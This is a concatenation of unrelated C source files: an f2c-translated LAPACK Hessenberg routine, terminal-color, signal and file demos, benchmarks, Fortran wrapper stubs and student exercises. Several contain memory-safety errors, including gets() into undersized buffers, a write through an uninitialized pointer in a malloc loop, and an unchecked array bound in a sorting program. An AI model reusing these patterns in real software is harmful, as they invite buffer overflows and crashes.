/* Subroutine */ int zgehrd_(integer *n, integer *ilo, integer *ihi,
doublecomplex *a, integer *lda, doublecomplex *tau, doublecomplex *
work, integer *lwork, integer *info)
{
/* System generated locals */
integer a_dim1, a_offset, i__1, i__2, i__3, i__4;
doublecomplex z__1;
/* Local variables */
integer i__, j, nbmin, iinfo;
extern /* Subroutine */ int zgemm_(char *, char *, integer *, integer *,
integer *, doublecomplex *, doublecomplex *, integer *,
doublecomplex *, integer *, doublecomplex *, doublecomplex *,
integer *), ztrmm_(char *, char *, char *, char *,
integer *, integer *, doublecomplex *, doublecomplex *, integer *
, doublecomplex *, integer *),
zaxpy_(integer *, doublecomplex *, doublecomplex *, integer *,
doublecomplex *, integer *), zgehd2_(integer *, integer *,
integer *, doublecomplex *, integer *, doublecomplex *,
doublecomplex *, integer *), zlahr2_(integer *, integer *,
integer *, doublecomplex *, integer *, doublecomplex *,
doublecomplex *, integer *, doublecomplex *, integer *);
integer ib;
doublecomplex ei;
integer nb, nh, nx;
extern /* Subroutine */ int xerbla_(char *, integer *, ftnlen);
extern integer ilaenv_(integer *, char *, char *, integer *, integer *,
integer *, integer *, ftnlen, ftnlen);
extern /* Subroutine */ int zlarfb_(char *, char *, char *, char *,
integer *, integer *, integer *, doublecomplex *, integer *,
doublecomplex *, integer *, doublecomplex *, integer *,
doublecomplex *, integer *);
integer ldwork, lwkopt;
logical lquery;
integer iwt;
/* -- LAPACK computational routine (version 3.7.0) -- */
/* -- LAPACK is a software package provided by Univ. of Tennessee, -- */
/* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */
/* December 2016 */
/* ===================================================================== */
/* Test the input parameters */
/* Parameter adjustments */
a_dim1 = *lda;
a_offset = 1 + a_dim1 * 1;
a -= a_offset;
--tau;
--work;
/* Function Body */
*info = 0;
lquery = *lwork == -1;
if (*n < 0) {
*info = -1;
} else if (*ilo < 1 || *ilo > f2cmax(1,*n)) {
*info = -2;
} else if (*ihi < f2cmin(*ilo,*n) || *ihi > *n) {
*info = -3;
} else if (*lda < f2cmax(1,*n)) {
*info = -5;
} else if (*lwork < f2cmax(1,*n) && ! lquery) {
*info = -8;
}
if (*info == 0) {
/* Compute the workspace requirements */
/* Computing MIN */
i__1 = 64, i__2 = ilaenv_(&c__1, "ZGEHRD", " ", n, ilo, ihi, &c_n1, (
ftnlen)6, (ftnlen)1);
nb = f2cmin(i__1,i__2);
lwkopt = *n * nb + 4160;
work[1].r = (doublereal) lwkopt, work[1].i = 0.;
}
if (*info != 0) {
i__1 = -(*info);
xerbla_("ZGEHRD", &i__1, (ftnlen)6);
return 0;
} else if (lquery) {
return 0;
}
/* Set elements 1:ILO-1 and IHI:N-1 of TAU to zero */
i__1 = *ilo - 1;
for (i__ = 1; i__ <= i__1; ++i__) {
i__2 = i__;
tau[i__2].r = 0., tau[i__2].i = 0.;
/* L10: */
}
i__1 = *n - 1;
for (i__ = f2cmax(1,*ihi); i__ <= i__1; ++i__) {
i__2 = i__;
tau[i__2].r = 0., tau[i__2].i = 0.;
/* L20: */
}
/* Quick return if possible */
nh = *ihi - *ilo + 1;
if (nh <= 1) {
work[1].r = 1., work[1].i = 0.;
return 0;
}
/* Determine the block size */
/* Computing MIN */
i__1 = 64, i__2 = ilaenv_(&c__1, "ZGEHRD", " ", n, ilo, ihi, &c_n1, (
ftnlen)6, (ftnlen)1);
nb = f2cmin(i__1,i__2);
nbmin = 2;
if (nb > 1 && nb < nh) {
/* Determine when to cross over from blocked to unblocked code */
/* (last block is always handled by unblocked code) */
/* Computing MAX */
i__1 = nb, i__2 = ilaenv_(&c__3, "ZGEHRD", " ", n, ilo, ihi, &c_n1, (
ftnlen)6, (ftnlen)1);
nx = f2cmax(i__1,i__2);
if (nx < nh) {
/* Determine if workspace is large enough for blocked code */
if (*lwork < *n * nb + 4160) {
/* Not enough workspace to use optimal NB: determine the */
/* minimum value of NB, and reduce NB or force use of */
/* unblocked code */
/* Computing MAX */
i__1 = 2, i__2 = ilaenv_(&c__2, "ZGEHRD", " ", n, ilo, ihi, &
c_n1, (ftnlen)6, (ftnlen)1);
nbmin = f2cmax(i__1,i__2);
if (*lwork >= *n * nbmin + 4160) {
nb = (*lwork - 4160) / *n;
} else {
nb = 1;
}
}
}
}
ldwork = *n;
if (nb < nbmin || nb >= nh) {
/* Use unblocked code below */
i__ = *ilo;
} else {
/* Use blocked code */
iwt = *n * nb + 1;
i__1 = *ihi - 1 - nx;
i__2 = nb;
for (i__ = *ilo; i__2 < 0 ? i__ >= i__1 : i__ <= i__1; i__ += i__2) {
/* Computing MIN */
i__3 = nb, i__4 = *ihi - i__;
ib = f2cmin(i__3,i__4);
/* Reduce columns i:i+ib-1 to Hessenberg form, returning the */
/* matrices V and T of the block reflector H = I - V*T*V**H */
/* which performs the reduction, and also the matrix Y = A*V*T */
zlahr2_(ihi, &i__, &ib, &a[i__ * a_dim1 + 1], lda, &tau[i__], &
work[iwt], &c__65, &work[1], &ldwork);
/* Apply the block reflector H to A(1:ihi,i+ib:ihi) from the */
/* right, computing A := A - Y * V**H. V(i+ib,ib-1) must be set */
/* to 1 */
i__3 = i__ + ib + (i__ + ib - 1) * a_dim1;
ei.r = a[i__3].r, ei.i = a[i__3].i;
i__3 = i__ + ib + (i__ + ib - 1) * a_dim1;
a[i__3].r = 1., a[i__3].i = 0.;
i__3 = *ihi - i__ - ib + 1;
z__1.r = -1., z__1.i = 0.;
zgemm_("No transpose", "Conjugate transpose", ihi, &i__3, &ib, &
z__1, &work[1], &ldwork, &a[i__ + ib + i__ * a_dim1], lda,
&c_b2, &a[(i__ + ib) * a_dim1 + 1], lda);
i__3 = i__ + ib + (i__ + ib - 1) * a_dim1;
a[i__3].r = ei.r, a[i__3].i = ei.i;
/* Apply the block reflector H to A(1:i,i+1:i+ib-1) from the */
/* right */
i__3 = ib - 1;
ztrmm_("Right", "Lower", "Conjugate transpose", "Unit", &i__, &
i__3, &c_b2, &a[i__ + 1 + i__ * a_dim1], lda, &work[1], &
ldwork);
i__3 = ib - 2;
for (j = 0; j <= i__3; ++j) {
z__1.r = -1., z__1.i = 0.;
zaxpy_(&i__, &z__1, &work[ldwork * j + 1], &c__1, &a[(i__ + j
+ 1) * a_dim1 + 1], &c__1);
/* L30: */
}
/* Apply the block reflector H to A(i+1:ihi,i+ib:n) from the */
/* left */
i__3 = *ihi - i__;
i__4 = *n - i__ - ib + 1;
zlarfb_("Left", "Conjugate transpose", "Forward", "Columnwise", &
i__3, &i__4, &ib, &a[i__ + 1 + i__ * a_dim1], lda, &work[
iwt], &c__65, &a[i__ + 1 + (i__ + ib) * a_dim1], lda, &
work[1], &ldwork);
/* L40: */
}
}
/* Use unblocked code to reduce the rest of the matrix */
zgehd2_(n, &i__, ihi, &a[a_offset], lda, &tau[1], &work[1], &iinfo);
work[1].r = (doublereal) lwkopt, work[1].i = 0.;
return 0;
/* End of ZGEHRD */
} /* zgehrd_ */
|
the_stack_data/76701208.c | /**
* main.c
*/
#include <stdio.h>
#include <inttypes.h>
#include <stdint.h>
#include <wchar.h>
#include <locale.h>
#define COLOR_256 L"\033[38;5;%um"
#define COLOR_RESET_TO_DEFAULT L"\033[0m"
void change_terminal_color(uint8_t color);
void reset_terminal_to_default_color();
int main()
{
(void) setlocale(LC_CTYPE, "");
wchar_t *s = L"Hello, world!!!";
for (uint16_t color = 0; color < 256; color++) {
change_terminal_color(color);
wprintf(L"%3u - %ls\n", color, s);
}
reset_terminal_to_default_color();
return 0;
}
void change_terminal_color(uint8_t color)
{
wprintf(COLOR_256, color);
}
void reset_terminal_to_default_color()
{
wprintf(L"%ls", COLOR_RESET_TO_DEFAULT);
}
|
the_stack_data/89199511.c | #include <stdio.h>
#include <string.h>
struct info
{
char nome[40];
char endereco[120];
char fone[11];
char email[20];
char cidade[10];
char cep[8];
char estado[2];
}agenda;
void acha_pessoa(char pessoa[], struct info agenda[])
{
int i, achei;
for (i=0;i<20;i++)
{
achei = strcmp (agenda[i].nome,pessoa);
if (achei==0)
{
puts(agenda[i].endereco);
printf("\n");
puts(agenda[i].email);
printf("\n");
return;
}
if (achei)
{
printf("O nome não se encontra no registro!!\n");
return;
}
}
}
int main()
{
struct info agenda[20];
int cont, i;
char pessoa[40];
int l, a, cond, nao_tem;
cont=0;
i=0;
while (cont==0 && i<=20)
{
printf("\n");
printf("Registro %d: \n", i+1);
printf("Digite o nome: ");
gets(agenda[i].nome);
if (agenda[i].nome[0] != '\0')
{
printf("Digite o endereço: ");
gets(agenda[i].endereco);
printf("Digite o telefone: ");
gets(agenda[i].fone);
printf("Digite o email: ");
gets(agenda[i].email);
printf("Digite a cidade: ");
gets(agenda[i].cidade);
printf("Digite o CEP: ");
gets(agenda[i].cep);
printf("Digite o estado: ");
gets(agenda[i].estado);
cont=0;
}
else
{
cont=1;
}
printf("\n");
i=i+1;
}
printf("Digite o nome da pessoa desejada: ");
gets(pessoa);
printf("\n");
acha_pessoa(pessoa,agenda);
}
|
the_stack_data/86076133.c | /*
* Copyright (c) 2020-2021, yzrh <[email protected]>
*
* SPDX-License-Identifier: Apache-2.0
*/
#include <stdint.h>
#include <string.h>
#include "zlib.h"
int
cnki_zlib(char **dst, int *dst_size,
const char * restrict src, int src_size)
{
int32_t size;
memcpy(&size, src + 20, 4);
*dst_size = size;
if (strinflate(dst, size, src + 24, size - 24) != 0)
return 1;
return 0;
}
|
the_stack_data/877852.c | // PROGRAMA p5b.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
int main(void)
{
int fd;
char *text1="CCCCC";
char *text2="DDDDD";
if((fd = open("f1.txt", O_CREAT|O_WRONLY|O_SYNC|O_APPEND,0600)) == -1) {
perror("file:");
exit(1);
}
getchar();
if(write(fd,text1,5) == -1) {
perror("file");
exit(2);
}
if(write(fd,text2,5) == -1) {
perror("file");
exit(3);
}
if(close(fd) == -1) {
perror("file:");
exit(3);
}
exit(0);
}
|
the_stack_data/117328925.c | #include<stdlib.h>
int main (int argc, char** argv)
{
int b = 10;
int *a[b];
for (int i=0; i<(b-1);i++)
{
a[i] = malloc(sizeof(int));
}
for (int i=0; i<b;i++)
{
*a[i] = i;
}
for (int i=0; i<b;i++)
{
free(a[i]);
}
return 0;
}
|
the_stack_data/178265196.c | #include<stdio.h>
int main()
{
double m,n,p=1,i=1;
scanf("%lf%lf",&m,&n);
for(i=1;i<=n;i++)
{
p=p*(m-i+1)/(n-i+1);
}
printf("%.0lf",p);
return 0;
} |
the_stack_data/6388762.c | #include <stdio.h>
#include <stdarg.h>
#include <string.h>
#define MAX 64
/* 将一个short型变量转换为字符串形式成功返回转换后的字符串首地址,失败返回NULL
* i : 需要转换的短整型,最大值为65536,不处理负数的形式
* p : 转换后的字符串的首地址。p代表存储该串的数组空间的起始位置
*/
char * itoa(int i, char *p)
{
char *q;
if(p == NULL)
return NULL;
p[0] = (i / 10000) + '0'; /* 将整型转换为字符串,整型的最大不会超过65536,
且不处理负数 */
i = i % 10000;
p[1] = (i / 1000) + '0';
i = i % 1000;
p[2] = (i / 100) + '0';
i = i % 100;
p[3] = (i / 10) + '0';
i = i % 10;
p[4] = i + '0';
p[5] = '\0';
/* 下面的操作用于去除多个0,将第一个有效数字作为第一个数字 */
q = p;
while(*q!='\0' && *q == '0')/* 找到第一个非0的数字 */
q++;
if(*q != '\0')
strcpy(p, q); /* 将0后面的数字移动到缓冲区的首地址处 */
return p;
}
/* 自定义的printf函数,这是一个可变参数的函数。第一个参数固定为字符指针型
* 返回值是实际输出的字符数
*/
int my_printf(const char *format, ...)
{
va_list ap;
char c, ch;
int i;
char *p;
char buf[MAX]; /* 保存字符串的缓冲区 */
int n = 0; /* 累计输出字符数 */
va_start(ap, format); /* 到达可变参数的起始位置 */
c = *format;
while(c != '\0'){
if(c == '%'){
format++; /* 使用'%'进行转义,跳过'%'字符,处理后面的转义字符 */
c = *format;
switch(c){
case 'c': /* 处理字符 */
ch = va_arg(ap, int); /* 取第一个字符参数 */
putchar(ch); /* 输出该字符 */
n++;
break;
case 'd': /* 处理整数(short) */
i = va_arg(ap, int); /* 取该整数参数 */
itoa(i, buf); /* 将整数转换为字符串 */
n += strlen(buf); /* 累计输出字符数 */
fputs(buf, stdout); /* 输出该整数的字符串形式 */
break;
case 's': /* 处理字符串 */
p = va_arg(ap, char *);/* 取下一个指针参数,保存字符串的首地址*/
n += strlen(p);
fputs(p, stdout); /* 输出该字符串 */
}
}else{
putchar(c); /* 普通字符,则输出该字符 */
n++;
}
format++; /* 处理下一个字符 */
c = *format;
}
va_end(ap); /* 做一些清理工作 */
return n; /* 返回实际输出的字符数 */
}
int main(void)
{
/* 调用my_printf函数输出字符、整型和字符串 */
my_printf("the char is : %c\n, the number is : %d\n, the string is : %s\n",
'a', 100, "hello world\n");
return 0;
}
|
the_stack_data/87637512.c | #include <stdio.h>
void func(int *pvalue);
int getaverage(int data[10]);
int main(void)
{
int value = 10;
printf("&value = %p\n", &value);
func(&value);
printf("value = %d\n", value);
int average, array[10] = {15, 78, 98, 15, 98, 85, 17, 35, 42, 15};
average = getaverage(array);
printf("%d\n", average);
return 0;
}
void func(int *pvalue)
{
printf("pvalue = %p\n", pvalue);
*pvalue = 100;
return;
}
// (int data[])や(int* data)が正しい
int getaverage(int data[10])
{
int i;
int average = 0;
for (i = 0; i < 10; i++)
{
average += data[i];
}
return average / 10;
} |
the_stack_data/114008.c | /*
* An example of reading binary data into a struct that
* has a member with variable data.
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define BUF_SIZE 128
typedef struct {
int id;
unsigned char name_size;
char *name;
double price;
int quantity;
} product_t;
/*
* Creates a dynamic pointer, make sure to free
*/
product_t *read_product(FILE *fp) {
product_t *product = calloc(1, sizeof(product_t));
if (!product) {
return NULL;
}
fread(&product->id, sizeof(int), 1, fp);
fread(&product->name_size, sizeof(unsigned char), 1, fp);
product->name = calloc(product->name_size + 1, sizeof(char));
fread(product->name, sizeof(char), product->name_size, fp);
fread(&product->price, sizeof(double), 1, fp);
fread(&product->quantity, sizeof(int), 1, fp);
return product;
}
void print_product(product_t *p) {
printf("ID: %d\n", p->id);
printf("Name: %s\n", p->name);
printf("Price: %.2lf\n", p->price);
printf("Quantity: %d\n", p->quantity);
}
int main() {
FILE *fp = fopen("product.dat", "rb");
if (!fp) {
return 1;
}
product_t *product = read_product(fp);
print_product(product);
free(product->name);
free(product);
fclose(fp);
return 0;
}
|
the_stack_data/200144411.c | int foo(int a, int b);
int main() {
return foo(1, 2);
}
int foo(int x, int y){
return x - y;
} |
the_stack_data/64200114.c | double phid(int c,double a, double b) {
return c? a : b;
}
|
the_stack_data/1045762.c | #include <stdio.h>
void write_word_file(char *filename) { printf("Writing word file %s\n", filename); }
|
the_stack_data/132953077.c | /* C Library for Skeleton 1-2/2D Darwin PIC Code */
/* Wrappers for calling the Fortran routines from a C main program */
#include <complex.h>
double ranorm_();
void distr1h_(float *part, float *vtx, float *vty, float *vtz,
float *vdx, float *vdy, float *vdz, int *npx, int *idimp,
int *nop, int *nx, int *ipbc);
void dblkp1l_(float *part, int *kpic, int *nppmx, int *idimp, int *nop,
int *mx, int *mx1, int *irc);
void ppmovin1l_(float *part, float *ppart, int *kpic, int *nppmx,
int *idimp, int *nop, int *mx, int *mx1, int *irc);
void ppcheck1l_(float *ppart, int *kpic, int *idimp, int *nppmx,
int *nx, int *mx, int *mx1, int *irc);
void gbppush13l_(float *ppart, float *fxyz, float *byz, int *kpic,
float *omx, float *qbm, float *dt, float *dtc,
float *ek, int *idimp, int *nppmx, int *nx, int *mx,
int *nxv, int *mx1, int *ipbc);
void gbppushf13l_(float *ppart, float *fxyz, float *byz, int *kpic,
int *ncl, int *ihole, float *omx, float *qbm,
float *dt, float *dtc, float *ek, int *idimp,
int *nppmx, int *nx, int *mx, int *nxv, int *mx1,
int *ntmax, int *irc);
void gppost1l_(float *ppart, float *q, int *kpic, float *qm, int *nppmx,
int *idimp, int *mx, int *nxv, int *mx1);
void gjppost1l_(float *ppart, float *cu, int *kpic, float *qm,
float *dt, int *nppmx, int *idimp, int *nx, int *mx,
int *nxv, int *mx1, int *ipbc);
void gmjppost1l_(float *ppart, float *amu, int *kpic, float *qm,
int *nppmx, int *idimp, int *mx, int *nxv, int *mx1);
void gdjppost1l_(float *ppart, float *fxyz, float *byz, float *dcu,
float *amu, int *kpic, float *omx, float *qm,
float *qbm, float *dt, int *idimp, int *nppmx, int *nx,
int *mx, int *nxv, int *mx1);
void gdcjppost1l_(float *ppart, float *fxyz, float *byz, float *cu,
float *dcu, float *amu, int *kpic, float *omx,
float *qm, float *qbm, float *dt, int *idimp,
int *nppmx, int *nx, int *mx, int *nxv, int *mx1);
void pporder1l_(float *ppart, float *ppbuff, int *kpic, int *ncl,
int *ihole, int *idimp, int *nppmx, int *nx, int *mx,
int *mx1, int *npbmx, int *ntmax, int *irc);
void pporderf1l_(float *ppart, float *ppbuff, int *kpic, int *ncl,
int *ihole, int *idimp, int *nppmx, int *mx1,
int *npbmx, int *ntmax, int *irc);
void dguard1l_(float *fx, int *nx, int *nxe);
void cguard1l_(float *byz, int *nx, int *nxe);
void acguard1l_(float *cu, int *nx, int *nxe);
void aguard1l_(float *q, int *nx, int *nxe);
void ascfguard1l_(float *dcu, float *cus, float *q2m0, int *nx,
int *nxe);
void fwpminmx1_(float *qe, float *qbme, float *wpmax, float *wpmin,
int *nx, int *nxe);
void pois1_(float complex *q, float complex *fx, int *isign,
float complex *ffc, float *ax, float *affp, float *we,
int *nx);
void bbpois13_(float complex *cu, float complex *byz,
float complex *ffc, float *ci, float *wm, int *nx,
int *nxvh, int *nxhd);
void baddext1_(float *byz, float *omy, float *omz, int *nx, int *nxe);
void dcuperp13_(float complex *dcu, float complex *amu, int *nx,
int *nxvh);
void adcuperp13_(float complex *dcu, float complex *amu, int *nx,
int *nxvh);
void epois13_(float complex *dcu, float complex *eyz, int *isign,
float complex *ffe, float *ax, float *affp, float *wp0,
float *ci, float *wf, int *nx, int *nxvh, int *nxhd);
void addvrfield13_(float *fxyze, float *eyze, float *fxe, int *nxe);
void wfft1rinit_(int *mixup, float complex *sct, int *indx, int *nxhd);
void fft1rxx_(float complex *f, float complex *t, int *isign,
int *mixup, float complex *sct, int *indx, int *nxd,
int *nxhd);
void fft1r2x_(float complex *f, float complex *t, int *isign,
int *mixup, float complex *sct, int *indx, int *nxd,
int *nxhd);
/* Interfaces to C */
double ranorm() {
return ranorm_();
}
/*--------------------------------------------------------------------*/
void cdistr1h(float part[], float vtx, float vty, float vtz, float vdx,
float vdy, float vdz, int npx, int idimp, int nop, int nx,
int ipbc) {
distr1h_(part,&vtx,&vty,&vtz,&vdx,&vdy,&vdz,&npx,&idimp,&nop,&nx,
&ipbc);
return;
}
/*--------------------------------------------------------------------*/
void cdblkp1l(float part[], int kpic[], int *nppmx, int idimp, int nop,
int mx, int mx1, int *irc) {
dblkp1l_(part,kpic,nppmx,&idimp,&nop,&mx,&mx1,irc);
return;
}
/*--------------------------------------------------------------------*/
void cppmovin1l(float part[], float ppart[], int kpic[], int nppmx,
int idimp, int nop, int mx, int mx1, int *irc) {
ppmovin1l_(part,ppart,kpic,&nppmx,&idimp,&nop,&mx,&mx1,irc);
return;
}
/*--------------------------------------------------------------------*/
void cppcheck1l(float ppart[], int kpic[], int idimp, int nppmx, int nx,
int mx, int mx1, int *irc) {
ppcheck1l_(ppart,kpic,&idimp,&nppmx,&nx,&mx,&mx1,irc);
return;
}
/*--------------------------------------------------------------------*/
void cgbppush13l(float ppart[], float fxyz[], float byz[], int kpic[],
float omx, float qbm, float dt, float dtc, float *ek,
int idimp, int nppmx, int nx, int mx, int nxv, int mx1,
int ipbc) {
gbppush13l_(ppart,fxyz,byz,kpic,&omx,&qbm,&dt,&dtc,ek,&idimp,&nppmx,
&nx,&mx,&nxv,&mx1,&ipbc);
return;
}
/*--------------------------------------------------------------------*/
void cgbppushf13l(float ppart[], float fxyz[], float byz[], int kpic[],
int ncl[], int ihole[], float omx, float qbm,
float dt, float dtc, float *ek, int idimp, int nppmx,
int nx, int mx, int nxv, int mx1, int ntmax,
int *irc) {
gbppushf13l_(ppart,fxyz,byz,kpic,ncl,ihole,&omx,&qbm,&dt,&dtc,ek,
&idimp,&nppmx,&nx,&mx,&nxv,&mx1,&ntmax,irc);
return;
}
/*--------------------------------------------------------------------*/
void cgppost1l(float ppart[], float q[], int kpic[], float qm,
int nppmx, int idimp, int mx, int nxv, int mx1) {
gppost1l_(ppart,q,kpic,&qm,&nppmx,&idimp,&mx,&nxv,&mx1);
return;
}
/*--------------------------------------------------------------------*/
void cgjppost1l(float ppart[], float cu[], int kpic[], float qm,
float dt, int nppmx, int idimp, int nx, int mx, int nxv,
int mx1, int ipbc) {
gjppost1l_(ppart,cu,kpic,&qm,&dt,&nppmx,&idimp,&nx,&mx,&nxv,&mx1,
&ipbc);
return;
}
/*--------------------------------------------------------------------*/
void cgmjppost1l(float ppart[], float amu[], int kpic[], float qm,
int nppmx, int idimp, int mx, int nxv, int mx1) {
gmjppost1l_(ppart,amu,kpic,&qm,&nppmx,&idimp,&mx,&nxv,&mx1);
return;
}
/*--------------------------------------------------------------------*/
void cgdjppost1l(float ppart[], float fxyz[], float byz[], float dcu[],
float amu[], int kpic[], float omx, float qm,
float qbm, float dt, int idimp, int nppmx, int nx,
int mx, int nxv, int mx1) {
gdjppost1l_(ppart,fxyz,byz,dcu,amu,kpic,&omx,&qm,&qbm,&dt,&idimp,
&nppmx,&nx,&mx,&nxv,&mx1);
return;
}
/*--------------------------------------------------------------------*/
void cgdcjppost1l(float ppart[], float fxyz[], float byz[], float cu[],
float dcu[], float amu[], int kpic[], float omx,
float qm, float qbm, float dt, int idimp, int nppmx,
int nx, int mx, int nxv, int mx1) {
gdcjppost1l_(ppart,fxyz,byz,cu,dcu,amu,kpic,&omx,&qm,&qbm,&dt,&idimp,
&nppmx,&nx,&mx,&nxv,&mx1);
return;
}
/*--------------------------------------------------------------------*/
void cpporder1l(float ppart[], float ppbuff[], int kpic[], int ncl[],
int ihole[], int idimp, int nppmx, int nx, int mx,
int mx1, int npbmx, int ntmax, int *irc) {
pporder1l_(ppart,ppbuff,kpic,ncl,ihole,&idimp,&nppmx,&nx,&mx,&mx1,
&npbmx,&ntmax,irc);
return;
}
/*--------------------------------------------------------------------*/
void cpporderf1l(float ppart[], float ppbuff[], int kpic[], int ncl[],
int ihole[], int idimp, int nppmx, int mx1, int npbmx,
int ntmax, int *irc) {
pporderf1l_(ppart,ppbuff,kpic,ncl,ihole,&idimp,&nppmx,&mx1,&npbmx,
&ntmax,irc);
return;
}
void cdguard1l(float fx[], int nx, int nxe){
dguard1l_(fx,&nx,&nxe);
return;
}
/*--------------------------------------------------------------------*/
void ccguard1l(float byz[], int nx, int nxe) {
cguard1l_(byz,&nx,&nxe);
return;
}
/*--------------------------------------------------------------------*/
void cacguard1l(float cu[], int nx, int nxe) {
acguard1l_(cu,&nx,&nxe);
return;
}
/*--------------------------------------------------------------------*/
void caguard1l(float q[], int nx, int nxe) {
aguard1l_(q,&nx,&nxe);
return;
}
/*--------------------------------------------------------------------*/
void cascfguard1l(float dcu[], float cus[], float q2m0, int nx,
int nxe) {
ascfguard1l_(dcu,cus,&q2m0,&nx,&nxe);
return;
}
/*--------------------------------------------------------------------*/
void cfwpminmx1(float qe[], float qbme, float *wpmax, float *wpmin,
int nx, int nxe) {
fwpminmx1_(qe,&qbme,wpmax,wpmin,&nx,&nxe);
return;
}
/*--------------------------------------------------------------------*/
void cpois1(float complex q[], float complex fx[], int isign,
float complex ffc[], float ax, float affp, float *we,
int nx) {
pois1_(q,fx,&isign,ffc,&ax,&affp,we,&nx);
return;
}
/*--------------------------------------------------------------------*/
void cbbpois13(float complex cu[], float complex byz[],
float complex ffc[], float ci, float *wm, int nx,
int nxvh, int nxhd) {
bbpois13_(cu,byz,ffc,&ci,wm,&nx,&nxvh,&nxhd);
return;
}
/*--------------------------------------------------------------------*/
void cbaddext1(float byz[], float omy, float omz, int nx, int nxe) {
baddext1_(byz,&omy,&omz,&nx,&nxe);
return;
}
/*--------------------------------------------------------------------*/
void cdcuperp13(float complex dcu[], float complex amu[], int nx,
int nxvh) {
dcuperp13_(dcu,amu,&nx,&nxvh);
return;
}
/*--------------------------------------------------------------------*/
void cadcuperp13(float complex dcu[], float complex amu[], int nx,
int nxvh) {
adcuperp13_(dcu,amu,&nx,&nxvh);
return;
}
/*--------------------------------------------------------------------*/
void cepois13(float complex dcu[], float complex eyz[], int isign,
float complex ffe[], float ax, float affp, float wp0,
float ci, float *wf, int nx, int nxvh, int nxhd) {
epois13_(dcu,eyz,&isign,ffe,&ax,&affp,&wp0,&ci,wf,&nx,&nxvh,&nxhd);
return;
}
/*--------------------------------------------------------------------*/
void caddvrfield13(float fxyze[], float eyze[], float fxe[], int nxe) {
addvrfield13_(fxyze,eyze,fxe,&nxe);
return;
}
/*--------------------------------------------------------------------*/
void cwfft1rinit(int mixup[], float complex sct[], int indx, int nxhd) {
wfft1rinit_(mixup,sct,&indx,&nxhd);
return;
}
/*--------------------------------------------------------------------*/
void cfft1rxx(float complex f[], float complex t[], int isign,
int mixup[], float complex sct[], int indx, int nxd,
int nxhd) {
fft1rxx_(f,t,&isign,mixup,sct,&indx,&nxd,&nxhd);
return;
}
/*--------------------------------------------------------------------*/
void cfft1r2x(float complex f[], float complex t[], int isign,
int mixup[], float complex sct[], int indx, int nxd,
int nxhd) {
fft1r2x_(f,t,&isign,mixup,sct,&indx,&nxd,&nxhd);
return;
}
|
the_stack_data/115380.c | /* raise(SIGNAL_CODE); can start, or send A signal.
This suspends the program. You can see it running
in the background with the 'jobs' bash command.
And you can end the background process with:
kill -KILL %1 //or other job number
or just type 'fg' then CTRL-C.
*/
#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
int main() {
printf("going to background to do some task that don't exist.\n");
printf("you can type 'ps' to see this process is still running.\n");
printf("simply type 'fg' to get me back..\n");
raise(SIGSTOP); // (sigint 17,19,23)
// at this point if i do sigcont, i can continue working,
// or print confirmations that it is back.
printf("'suspend-program' is back. exiting..\n");
exit(0);
}
|
the_stack_data/95935.c | #include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define UNLIMIT
#define MAXARRAY 60000 /* this number, if too large, will cause a seg. fault!! */
struct myStringStruct {
char qstring[128];
};
int compare(const void *elem1, const void *elem2)
{
int result;
result = strcmp((*((struct myStringStruct *)elem1)).qstring, (*((struct myStringStruct *)elem2)).qstring);
return (result < 0) ? 1 : ((result == 0) ? 0 : -1);
}
int
main(int argc, char *argv[]) {
struct myStringStruct array[MAXARRAY];
FILE *fp;
int i,count=0;
if (argc<2) {
fprintf(stderr,"Usage: qsort_small <file>\n");
exit(-1);
}
else {
fp = fopen(argv[1],"r");
while((fscanf(fp, "%s", &array[count].qstring) == 1) && (count < MAXARRAY)) {
count++;
}
}
printf("\nSorting %d elements.\n\n",count);
qsort(array,count,sizeof(struct myStringStruct),compare);
for(i=0;i<count;i++)
printf("%s\n", array[i].qstring);
return 0;
}
|
the_stack_data/59512316.c | // using the Lemire divisibility check, version does not handle
// divisor 1.
#include <stdio.h>
#include <stdint.h>
#include <stdbool.h>
#define N 40000
#define REPTS 1000
uint64_t lkk_mvalue(const uint32_t d) {
return 1 + (UINT64_C(0xffffffffffffffff) / d);
}
// does not properly handle 1 (M=0, consistenly would return false)
bool lkk_divisible( const uint32_t v, const uint64_t mval) {
return v*mval < mval;
}
int count_primes_under_N(int junkparam) {
int primectr=0;
static uint64_t prime_mvals[N];
// 2 is a prime, but add it to count later.
primectr=0;
for (uint32_t n=3; n < N; n += 2) {
bool isprime=true;
for (int j=0; j < primectr; ++j) {
if (lkk_divisible(n, prime_mvals[j])) {
isprime = false;
break;
}
}
if (isprime)
prime_mvals[primectr++] = lkk_mvalue(n);
}
return (1+primectr)^junkparam; // allow for 2.
}
int main() {
int acc = 0;
// seems enough to confuse compiler into looping
for (int rept=0; rept < REPTS; ++rept)
acc ^= count_primes_under_N(acc);
printf("There are %d\n",acc);
return 0;
}
/*
owen@skylake:~/libdivide$ gcc-6 -std=gnu99 -O3 -march=native primes_benchmark_lkk.c
owen@skylake:~/libdivide$ perf stat ./a.out
There are 4203
Performance counter stats for './a.out':
4547.753913 task-clock (msec) # 1.000 CPUs utilized
3 context-switches # 0.001 K/sec
0 cpu-migrations # 0.000 K/sec
57 page-faults # 0.013 K/sec
15,426,275,612 cycles # 3.392 GHz
<not supported> stalled-cycles-frontend
<not supported> stalled-cycles-backend
71,310,608,100 instructions # 4.62 insns per cycle
17,837,059,952 branches # 3922.169 M/sec
14,305,085 branch-misses # 0.08% of all branches
4.547894649 seconds time elapsed
*/
|
the_stack_data/212643909.c | /* Exercise 1 - Calculations
Write a C program to input marks of two subjects. Calculate and print the average of the two marks. */
#include <stdio.h>
int main() // function main begins the program execution
{
float mark1,mark2,sum,avg ;
printf ("Enter mark 1 : ") ; // Enter subject mark 1
scanf ("%f",&mark1) ;
printf ("Enter mark 2 : ") ; // Enter subject mark 2
scanf ("%f",&mark2) ;
sum = mark1 + mark2 ; // calculate the sum
avg = sum / 2 ; // calculate the average
printf ("Average of two subjects : %.2f",avg) ;
return 0;
}
|
the_stack_data/8761.c | #include <stdio.h>
#include <stdlib.h>
#include <math.h>
double pyorista(double n);
int main()
{
double syote;
double tulos;
int i;
for(i = 0; i <= 5; i++) {
scanf("%lf",&syote);
tulos = pyorista(syote);
printf("%lf %lf\n",syote,tulos);
}
}
double pyorista(double n) {
return floor(n + 0.5);
}
|
the_stack_data/77120.c |
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
